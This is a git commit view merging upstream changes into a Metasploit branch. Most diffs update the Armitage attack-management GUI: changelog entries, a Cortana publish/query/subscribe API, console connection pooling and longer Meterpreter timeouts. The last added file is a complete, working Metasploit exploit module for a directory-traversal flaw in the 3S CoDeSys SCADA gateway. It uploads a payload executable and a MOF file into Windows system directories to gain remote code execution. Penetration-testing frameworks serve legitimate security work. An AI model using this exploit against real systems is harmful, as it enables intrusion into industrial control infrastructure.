Merge remote-tracking branch 'upstream/master' into bug/web-vuln-logging

bug/bundler_fix
Tasos Laskos 2013-03-07 18:13:13 +02:00
commit 1b8371e695
20 changed files with 405 additions and 42 deletions

Binary file not shown.

Binary file not shown.

View File

@ -1,6 +1,35 @@
Armitage Changelog
==================
6 Mar 13 (tested against msf ca43900a7)
--------
- Active console now gets higher priority when polling msf for output
- Improved team server responsiveness in high latency situations by
creating additional connections to server to balance messages over
- Preferences are now shared among each Armitage connection.
6 Mar 13 (2000h)
--------
- Fixed issue with additional team server connections reporting wrong
application and receiving a summary rejection by the team server.
Cortana Updates (for scripters)
--------
- Added a &publish, &query, &subscribe API to allow inter-script
communication across the team server.
- Added &table_update to set the contents of a table tab without
disturbing the highlighted rows.
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
due to an error reported by meterpreter.
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
command 60s to execute. If it doesn't finish in that time, Cortana
will release the lock on the shell so the user can control it.
(ideally, this shouldn't happen... this is a safety mechanism)
- Changed Meterpreter command timeout to 2m from 12s. This is because
https meterpreter might not checkin for up to 60s, if it's been
idle for a long time. This will make &m_cmd less likely to timeout
12 Feb 13 (tested against msf 16438)
---------
- Fixed a corner case preventing the display of removed host labels

View File

@ -3,7 +3,7 @@
<center><h1>Armitage 1.45</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 12 Feb 13</p>
<br />Release: 6 Mar 13</p>
<br />
<p>Developed by:</p>

View File

@ -188,13 +188,24 @@ sub table_selected_single {
# table_set($table, @rows)
sub table_set {
later(lambda({
local('$model $row');
$model = [$1 getModel];
[$model clear: size($2) * 2];
foreach $row ($2) {
$model = [$a getModel];
[$model clear: size($b) * 2];
foreach $row ($b) {
[$model addEntry: $row];
}
[$model fireListeners];
}, $a => $1, $b => $2));
}
# table_set($table, @rows)
sub table_update {
later(lambda({
[$a markSelections];
table_set($a, $b);
[$a restoreSelections];
}, $a => $1, $b => $2));
}
# table_sorter($table, index, &function);

View File

@ -583,6 +583,39 @@ sub data_add {
call("db.key_add", $1, $data);
}
#
# a publish/query/subscribe API
#
# publish("key", $object)
sub publish {
local('$data');
$data = [msf.Base64 encode: cast(pack("o", $2, 1), 'b')];
call_async("armitage.publish", $1, "$data $+ \n");
}
# query("key", "index")
sub query {
local('$r @r $result');
$r = call("armitage.query", $1, $2)['data'];
if ($r ne "") {
foreach $result (split("\n", $r)) {
push(@r, unpack("o", [msf.Base64 decode: $result])[0]);
}
}
return @r;
}
# subscribe("key", "index", "1s/5s/10s/15s/30s/1m/5m/10m/15m/20m/30m/60m")
sub subscribe {
on("heartbeat_ $+ $3", lambda({
local('$result');
foreach $result (query($key, $index)) {
fire_event_local($key, $result, $index);
}
}, $key => $1, $index => $2));
}
#
# Shell shock?
#
@ -834,7 +867,7 @@ sub m_exec {
}, \$command, \$channel, \$buffer));
}
else {
# this is probably ok...
fire_event_local("exec_error", $1, $command, ["$3" trim]);
}
}, \$command));
}

View File

@ -15,7 +15,7 @@ import graph.*;
import java.awt.image.*;
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME');
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL');
sub describeHost {
local('$desc');
@ -164,13 +164,14 @@ sub _connectToMetasploit {
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
$aclient = [new RpcAsync: $client];
$mclient = $client;
push(@POOL, $aclient);
initConsolePool();
$DESCRIBE = "localhost";
}
# we have a team server... connect and authenticate to it.
else {
[$progress setNote: "Connected: logging in"];
$client = c_client($1, $2);
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
$mclient = setup_collaboration($3, $4, $1, $2);
$aclient = $mclient;
@ -178,6 +179,17 @@ sub _connectToMetasploit {
[$progress close];
return;
}
else {
[$progress setNote: "Connected: authenticated"];
}
# create six additional connections to team server... for balancing consoles.
local('$x $cc');
for ($x = 0; $x < 6; $x++) {
$cc = c_client($1, $2);
call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326);
push(@POOL, $cc);
}
}
$flag = $null;
}

View File

@ -57,6 +57,10 @@ sub parseYaml {
sub loadPreferences {
local('$file $prefs');
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) {
$prefs = [$__frame__ getPreferences];
}
else {
$prefs = [new Properties];
if (-exists $file) {
[$prefs load: [new java.io.FileInputStream: $file]];
@ -65,6 +69,11 @@ sub loadPreferences {
[$prefs load: resource("resources/armitage.prop")];
}
if ($__frame__ !is $null) {
[$__frame__ setPreferences: $prefs];
}
}
# parse command line options here.
global('$yaml_file $yaml_entry');

View File

@ -290,7 +290,7 @@ sub createShellSessionTab {
return;
}
$thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0];
$thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0];
[$frame addTab: "Shell $sid", $console, lambda({
call_async($mclient, "armitage.unlock", $sid);
[$thread kill];

View File

@ -78,7 +78,7 @@ sub setupEventStyle {
sub createDisplayTab {
local('$console $host $queue $file');
$queue = [new ConsoleQueue: $client];
$queue = [new ConsoleQueue: rand(@POOL)];
if ($1 eq "Log Keystrokes") {
$console = [new ActivityConsole: $preferences];
}
@ -100,7 +100,7 @@ sub createConsolePanel {
setupConsoleStyle($console);
$result = call($client, "console.create");
$thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1];
$thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1];
[$thread setMetasploitConsole];
[$thread setSessionListener: {

View File

@ -215,6 +215,7 @@ public class ConsoleClient implements Runnable, ActionListener {
Map read;
boolean shouldRead = go_read;
String command = null;
long last = 0;
try {
while (shouldRead) {
@ -230,20 +231,22 @@ public class ConsoleClient implements Runnable, ActionListener {
lastRead = System.currentTimeMillis();
}
long now = System.currentTimeMillis();
if (this.window != null && !this.window.isShowing() && (now - last) < 1500) {
/* check if our window is not showing... if not, then we're going to switch to a very reduced
read schedule. */
}
else {
read = readResponse();
if (read == null || "failure".equals( read.get("result") + "" )) {
break;
}
processRead(read);
last = System.currentTimeMillis();
}
if ((System.currentTimeMillis() - lastRead) <= 500) {
Thread.sleep(10);
}
else {
Thread.sleep(500);
}
Thread.sleep(100);
synchronized (listeners) {
shouldRead = go_read;

View File

@ -130,6 +130,10 @@ public class Sessions extends ManagedData {
}
}
/* calculate the differences and fire some events based on them */
Set newSessions = DataUtils.difference(after, before);
fireSessionEvents("session_open", newSessions.iterator(), dataz);
/* calculate sync events and fix the nonsync set */
Set newsync = DataUtils.intersection(syncz, nonsync);
fireSessionEvents("session_sync", newsync.iterator(), dataz);
@ -137,11 +141,9 @@ public class Sessions extends ManagedData {
/* update our list of non-synced sessions */
nonsync.removeAll(syncz);
/* calculate the differences and fire some events based on them */
Set newSessions = DataUtils.difference(after, before);
fireSessionEvents("session_open", newSessions.iterator(), dataz);
newSessions.retainAll(syncz);
/* these are sessions that are new and sync'd -- fire events for them... */
newSessions.removeAll(newsync); /* we already fired events for these */
newSessions.retainAll(syncz); /* keep anything that is synced */
fireSessionEvents("session_sync", newSessions.iterator(), dataz);
Set droppedSessions = DataUtils.difference(before, after);

View File

@ -30,12 +30,17 @@ public class UIBridge implements Loadable, Function {
if (name.equals("&later")) {
final SleepClosure f = BridgeUtilities.getFunction(args, script);
final Stack argz = EventManager.shallowCopy(args);
if (SwingUtilities.isEventDispatchThread()) {
SleepUtils.runCode(f, "laterz", null, argz);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
SleepUtils.runCode(f, "laterz", null, argz);
}
});
}
}
return SleepUtils.getEmptyScalar();
}

View File

@ -75,7 +75,8 @@ public class ShellSession implements Runnable {
/* loop forever waiting for response to come back. If session is dead
then this loop will break with an exception */
while (true) {
long start = System.currentTimeMillis();
while ((System.currentTimeMillis() - start) < 60000) {
response = readResponse();
String data = (response.get("data") + "");
@ -95,6 +96,7 @@ public class ShellSession implements Runnable {
Thread.sleep(100);
}
System.err.println(session + " -> " + c.text + " (took longer than anticipated, dropping: " + (System.currentTimeMillis() - start) + ")");
}
catch (Exception ex) {
System.err.println(session + " -> " + c.text + " ( " + response + ")");

View File

@ -14,7 +14,7 @@ public class MeterpreterSession implements Runnable {
protected String session;
protected boolean teammode;
public static long DEFAULT_WAIT = 12000;
public static long DEFAULT_WAIT = 120000;
private static class Command {
public Object token;

View File

@ -10,6 +10,7 @@ import javax.xml.transform.*;
import javax.xml.transform.dom.*;
import javax.xml.transform.stream.*;
import org.w3c.dom.*;
import armitage.ArmitageBuffer;
/**
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
@ -85,6 +86,22 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
protected HashMap locks = new HashMap();
protected String address = "";
protected HashMap buffers = new HashMap();
/* help implement our remote buffer API for PQS primitives */
public ArmitageBuffer getABuffer(String key) {
synchronized (buffers) {
ArmitageBuffer buffer;
if (buffers.containsKey(key)) {
buffer = (ArmitageBuffer)buffers.get(key);
}
else {
buffer = new ArmitageBuffer(16384);
buffers.put(key, buffer);
}
return buffer;
}
}
public String getLocalAddress() {
return address;
@ -133,6 +150,23 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
locks.remove(params[0] + "");
return new HashMap();
}
else if (methodName.equals("armitage.publish")) {
ArmitageBuffer buffer = getABuffer(params[0] + "");
buffer.put(params[1] + "");
return new HashMap();
}
else if (methodName.equals("armitage.query")) {
ArmitageBuffer buffer = getABuffer(params[0] + "");
String data = (String)buffer.get(params[1] + "");
HashMap temp = new HashMap();
temp.put("data", data);
return temp;
}
else if (methodName.equals("armitage.reset")) {
ArmitageBuffer buffer = getABuffer(params[0] + "");
buffer.reset();
return new HashMap();
}
else if (hooks.containsKey(methodName)) {
RpcConnection con = (RpcConnection)hooks.get(methodName);
return con.execute(methodName, params);

View File

@ -10,8 +10,48 @@ import table.*;
import java.util.*;
public class ATable extends JTable {
public static final String indicator = " \u271A";
protected boolean alternateBackground = false;
protected int[] selected = null;
/* call this function to store selections */
public void markSelections() {
selected = getSelectedRows();
}
public void fixSelection() {
if (selected.length == 0)
return;
getSelectionModel().setValueIsAdjusting(true);
int rowcount = getModel().getRowCount();
for (int x = 0; x < selected.length; x++) {
if (selected[x] < rowcount) {
getSelectionModel().addSelectionInterval(selected[x], selected[x]);
}
}
getSelectionModel().setValueIsAdjusting(false);
}
/* call this function to restore selections after a table update */
public void restoreSelections() {
if (!SwingUtilities.isEventDispatchThread()) {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
fixSelection();
}
});
}
else {
fixSelection();
}
}
public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) {
final Set specialitems = new HashSet();
specialitems.add("Wordlist");
@ -39,7 +79,7 @@ public class ATable extends JTable {
String content = (value != null ? value : "") + "";
if (specialitems.contains(content) || content.indexOf("FILE")!= -1) {
content = content + " \u271A";
content = content + indicator;
}
JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column);
@ -117,6 +157,47 @@ public class ATable extends JTable {
};
}
public static TableCellRenderer getTimeTableRenderer() {
return new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
TableCellRenderer render = table.getDefaultRenderer(String.class);
JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column);
try {
long size = Long.parseLong(value + "");
String units = "ms";
if (size > 1000) {
size = size / 1000;
units = "s";
}
else {
((JLabel)c).setText(size + units);
return c;
}
if (size > 60) {
size = size / 60;
units = "m";
}
if (size > 60) {
size = size / 60;
units = "h";
}
((JLabel)c).setText(size + units);
}
catch (Exception ex) {
}
return c;
}
};
}
public void adjust() {
setShowGrid(false);
setIntercellSpacing(new Dimension(0, 0));

View File

@ -17,6 +17,7 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher {
protected JPanel content;
protected CardLayout cards;
protected LinkedList buttons;
protected Properties prefs;
private static class ArmitageInstance {
public ArmitageApplication app;
@ -24,6 +25,14 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher {
public RpcConnection client;
}
public void setPreferences(Properties prefs) {
this.prefs = prefs;
}
public Properties getPreferences() {
return prefs;
}
public Map getClients() {
synchronized (buttons) {
Map r = new HashMap();

View File

@ -1,6 +1,35 @@
Armitage Changelog
==================
6 Mar 13 (tested against msf ca43900a7)
--------
- Active console now gets higher priority when polling msf for output
- Improved team server responsiveness in high latency situations by
creating additional connections to server to balance messages over
- Preferences are now shared among each Armitage connection.
6 Mar 13 (2000h)
--------
- Fixed issue with additional team server connections reporting wrong
application and receiving a summary rejection by the team server.
Cortana Updates (for scripters)
--------
- Added a &publish, &query, &subscribe API to allow inter-script
communication across the team server.
- Added &table_update to set the contents of a table tab without
disturbing the highlighted rows.
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
due to an error reported by meterpreter.
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
command 60s to execute. If it doesn't finish in that time, Cortana
will release the lock on the shell so the user can control it.
(ideally, this shouldn't happen... this is a safety mechanism)
- Changed Meterpreter command timeout to 2m from 12s. This is because
https meterpreter might not checkin for up to 60s, if it's been
idle for a long time. This will make &m_cmd less likely to timeout
12 Feb 13 (tested against msf 16438)
---------
- Fixed a corner case preventing the display of removed host labels

View File

@ -0,0 +1,104 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability that allows arbitrary
file creation, which can be used to execute a mof file in order to gain remote
execution within the SCADA system.
},
'Author' =>
[
'Enrique Sanchez <esanchez[at]accuvant.com>'
],
'License' => 'MSF_LICENSE',
'References' =>
[
['CVE', '2012-4705'],
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
],
'DisclosureDate' => 'Feb 02 2013',
'Platform' => 'win',
'Targets' =>
[
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(1211),
], self.class)
end
##
# upload_file(remote_filepath, remote_filename, local_filedata)
#
# remote_filepath: Remote filepath where the file will be uploaded
# remote_filename: Remote name of the file to be executed ie. boot.ini
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
def upload_file(remote_filepath, remote_filename, local_filedata = null)
magic_code = "\xdd\xdd"
opcode = [6].pack('L')
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
#print_debug("File to upload: #{file}")
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
#print_debug(pkt_size)
# Magic_code + packing + size
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
tmp_pkt = opcode << file
tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
pkt << tmp_pkt
print_status("Starting upload of file #{remote_filename}")
connect
sock.put(pkt)
disconnect
print_status("File uploaded")
end
def exploit
print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
# We create an exe payload, we have to get remote execution in 2 steps
exe = generate_payload_exe
exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
upload_file("windows\\system32\\", exe_name, exe)
# We create the mof file and upload (second step)
mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
mof = generate_mof(mof_name, exe_name)
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
print_status("Everything is ready, waiting for a session ... ")
handler
#Taken from the spooler exploit writen byt jduck and HDMoore
cnt = 1
while session_created? == false and cnt < 25
::IO.select(nil, nil, nil, 0.25)
cnt += 1
end
end
end